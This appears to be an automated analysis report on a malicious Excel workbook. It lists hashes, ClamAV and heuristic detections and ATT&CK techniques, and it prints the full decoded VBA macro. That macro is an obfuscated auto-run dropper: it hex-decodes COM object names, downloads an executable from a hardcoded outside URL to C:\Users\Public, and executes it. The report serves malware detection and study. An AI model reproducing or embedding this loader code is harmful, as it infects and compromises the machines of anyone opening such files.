Office (OOXML) malware analysis — malicious · b54d4b871add23fd

MALICIOUS

Office (OOXML)

59.1 KB First seen: 2020-09-15

MD5: 41c20b78ea21183327304e9442ec47a3 SHA-1: b81158c5ae868a7ab58d41319be96ed902b9a8f6 SHA-256: b54d4b871add23fd4ef21dee298f93898cd5e1b5601a772b997e165ab7624c0b

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that is obfuscated and designed to download and execute a payload. The macro contains a hardcoded URL, 'https://gradra.com/Onyem_WXdQ.exe', which is used to fetch the second-stage executable. This behavior is indicative of a downloader or droppper malware.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.

Matched line in script

aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.write ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg.responseBody

Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	8816 bytes
SHA-256: `4214b512048289109a4de042258880a069f56755b68f7c668959fa74a2ace54f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 41 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select fjziedunnyzhhhyffcmrmnkncwkjjtseldjleyvozlnknivjgarxrihrzmghtkdufuwdxmahhysaazztbacjcvncvrmrsnvoisftlsluzjptqhrznmgshtskhthfajpuderhtgiioijsftmoamefhc"68 74 74 70 73 3A 2F 2F 67 72 61 64 72 61 2E 63 6F 6D 2F 4F 6E 79 65 6D 5F 57 58 64 51 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub fjziedunnyzhhhyffcmrmnkncwkjjtseldjleyvozlnknivjgarxrihrzmghtkdufuwdxmahhysaazztbacjcvncvrmrsnvoisftlsluzjptqhrznmgshtskhthfajpuderhtgiioijsftmoamefhc (ecwoxjijcjbjirjvpirkyjhbkvoonumvnsesmyzwsdcjfiiyfwpycfeuuvdcvtviwgwqmriqjvsvhywbmpjreoshokxruxayhumymsmonypgnimvycpgkedinobctqwmutonmxpucudgylufxbsrhu As String) Dim ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg Range("A6:J13").Select Dim aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej Range("A6:J13").Select Dim xurxosjvzhjwfjwhadtvglwlspafvsnydyprdinmtqploejxnxzlxicmxgeyrdzgulshtfdspgcqvlxogdsytcbvvdtxdpupqiqdlbdithvqfmqmjpsolbnsjxlplgoammzmuudezjelglpjmgnowg Range("A6:J13").Select Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set xurxosjvzhjwfjwhadtvglwlspafvsnydyprdinmtqploejxnxzlxicmxgeyrdzgulshtfdspgcqvlxogdsytcbvvdtxdpupqiqdlbdithvqfmqmjpsolbnsjxlplgoammzmuudezjelglpjmgnowg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) smecnweweyselnogzjpgpzfhdxqfbyhrvwyvnqtmgykhugmastqdrhwshxzpfyugrbippttiqcarpxmwkqnihdanzfnprdhhdeqtxxkyzinphfdjkcfpkmznaupkfermvsnlhtynfoizplgucdeoyr = goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz(ecwoxjijcjbjirjvpirkyjhbkvoonumvnsesmyzwsdcjfiiyfwpycfeuuvdcvtviwgwqmriqjvsvhywbmpjreoshokxruxayhumymsmonypgnimvycpgkedinobctqwmutonmxpucudgylufxbsrhu) xrecschasvqatorscrerjwdaxpovhczcodvwgfbvffvniorscjbnkgiaoeecomsqwompsvmwpimeapriywtyblshvuibayhsmfrtcczhxexbteaynvestupkwetymkwrburvyxgvxlawnqnrukoeup = goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6B 72 61 66 6B 6B 69 71 6E 6D 64 68 6E 6F 7A 75 6A 71 61 76 2e 65 78 65") zsqgxxiaumigazmfzppivhtsxfrcdcwrxluzfrzjnwrnogqoeokzpluryxjsggxsqqjoenahpgvyqgeqpcxorxclrcahihcgzyxxxbjqocjiqvbrttcdjiatoywcnszhdozrjgtntgaontuwbiopez = goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6B 72 61 66 6B 6B 69 71 6E 6D 64 68 6E 6F 7A 75 6A 71 61 76 2e 65 78 65") ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg.Open chr(71) + chr(69) + chr(84), smecnweweyselnogzjpgpzfhdxqfbyhrvwyvnqtmgykhugmastqdrhwshxzpfyugrbippttiqcarpxmwkqnihdanzfnprdhhdeqtxxkyzinphfdjkcfpkmznaupkfermvsnlhtynfoizplgucdeoyr, False ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg.send aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.Type = 1 aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.Open aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.write ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg.responseBody aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.savetofile xrecschasvqatorscrerjwdaxpovhczcodvwgfbvffvniorscjbnkgiaoeecomsqwompsvmwpimeapriywtyblshvuibayhsmfrtcczhxexbteaynvestupkwetymkwrburvyxgvxlawnqnrukoeup, 2 xurxosjvzhjwfjwhadtvglwlspafvsnydyprdinmtqploejxnxzlxicmxgeyrdzgulshtfdspgcqvlxogdsytcbvvdtxdpupqiqdlbdithvqfmqmjpsolbnsjxlplgoammzmuudezjelglpjmgnowg.Run zsqgxxiaumigazmfzppivhtsxfrcdcwrxluzfrzjnwrnogqoeokzpluryxjsggxsqqjoenahpgvyqgeqpcxorxclrcahihcgzyxxxbjqocjiqvbrttcdjiatoywcnszhdozrjgtntgaontuwbiopez End Sub Public Function goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz(ByVal epvytnqownsvesmesplopbwblyhbdesadfijrwapnlnrtlgwxioydircttmugokrurrykcnwovadoeharkeuquxuofqxjgjyavxbuimuvrkhinopmlcvkqbauwjempmhlbctgfgjyjzzjpmbrblxeo As String) As String Dim oktxgxzhifecvgkuigftxarbqfjinlepdxnszjyijqbtugugqwseslqnsrgbnruxbpzxtrvyhwjhzxgjkdrrsawsgzzhdxvsvesfhwnyauxvbjoulwqkadebshqtrnukbrlufbcoqsqxcbqxkewhgl As String Dim rszrmaftgnzmtjyupjtcthmgyrqtjmrneqzsuoocjxldyphhzqpmnerkgstvjlktwmidjfzavrtwwjiikjusxeaaypmbvtsxnrglhdxtrprvlvnwkklarrwsmieusxfbyvjecwbglaaimepdbqrkhr As String Dim gvuozyzdbujpxpmjtnjfoqroghtasbfuugonkoxcgizgywhzrswebcdqegirfykzppvqayyfpgygrkpjatjzfatrdyjdffxixzrjaqyttrpudwytqyqlpluowembovzkjqirtgjkvpfnlyngaqnhom As Long For gvuozyzdbujpxpmjtnjfoqroghtasbfuugonkoxcgizgywhzrswebcdqegirfykzppvqayyfpgygrkpjatjzfatrdyjdffxixzrjaqyttrpudwytqyqlpluowembovzkjqirtgjkvpfnlyngaqnhom = 1 To Len(epvytnqownsvesmesplopbwblyhbdesadfijrwapnlnrtlgwxioydircttmugokrurrykcnwovadoeharkeuquxuofqxjgjyavxbuimuvrkhinopmlcvkqbauwjempmhlbctgfgjyjzzjpmbrblxeo)Step 3 oktxgxzhifecvgkuigftxarbqfjinlepdxnszjyijqbtugugqwseslqnsrgbnruxbpzxtrvyhwjhzxgjkdrrsawsgzzhdxvsvesfhwnyauxvbjoulwqkadebshqtrnukbrlufbcoqsqxcbqxkewhgl = Chr$(Val("&H" & Mid$(epvytnqownsvesmesplopbwblyhbdesadfijrwapnlnrtlgwxioydircttmugokrurrykcnwovadoeharkeuquxuofqxjgjyavxbuimuvrkhinopmlcvkqbauwjempmhlbctgfgjyjzzjpmbrblxeo, gvuozyzdbujpxpmjtnjfoqroghtasbfuugonkoxcgizgywhzrswebcdqegirfykzppvqayyfpgygrkpjatjzfatrdyjdffxixzrjaqyttrpudwytqyqlpluowembovzkjqirtgjkvpfnlyngaqnhom, 2))) rszrmaftgnzmtjyupjtcthmgyrqtjmrneqzsuoocjxldyphhzqpmnerkgstvjlktwmidjfzavrtwwjiikjusxeaaypmbvtsxnrglhdxtrprvlvnwkklarrwsmieusxfbyvjecwbglaaimepdbqrkhr = rszrmaftgnzmtjyupjtcthmgyrqtjmrneqzsuoocjxldyphhzqpmnerkgstvjlktwmidjfzavrtwwjiikjusxeaaypmbvtsxnrglhdxtrprvlvnwkklarrwsmieusxfbyvjecwbglaaimepdbqrkhr & oktxgxzhifecvgkuigftxarbqfjinlepdxnszjyijqbtugugqwseslqnsrgbnruxbpzxtrvyhwjhzxgjkdrrsawsgzzhdxvsvesfhwnyauxvbjoulwqkadebshqtrnukbrlufbcoqsqxcbqxkewhgl Next gvuozyzdbujpxpmjtnjfoqroghtasbfuugonkoxcgizgywhzrswebcdqegirfykzppvqayyfpgygrkpjatjzfatrdyjdffxixzrjaqyttrpudwytqyqlpluowembovzkjqirtgjkvpfnlyngaqnhom goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz = rszrmaftgnzmtjyupjtcthmgyrqtjmrneqzsuoocjxldyphhzqpmnerkgstvjlktwmidjfzavrtwwjiikjusxeaaypmbvtsxnrglhdxtrprvlvnwkklarrwsmieusxfbyvjecwbglaaimepdbqrkhr End Function Attribute VB_Name = "wrydjyehdwdcfbvjinzpjdilfudaaee" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	9728 bytes
SHA-256: `923ab21c213ac64d1b3a846e69b70339f893df953ba2687451ed40d6da3b78f7`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 208 of 330 identifiers look randomly generated (e.g. 'wrydjyehdwdcfbvjinzpjdilfudaaee') — consistent with name-mangling obfuscation.

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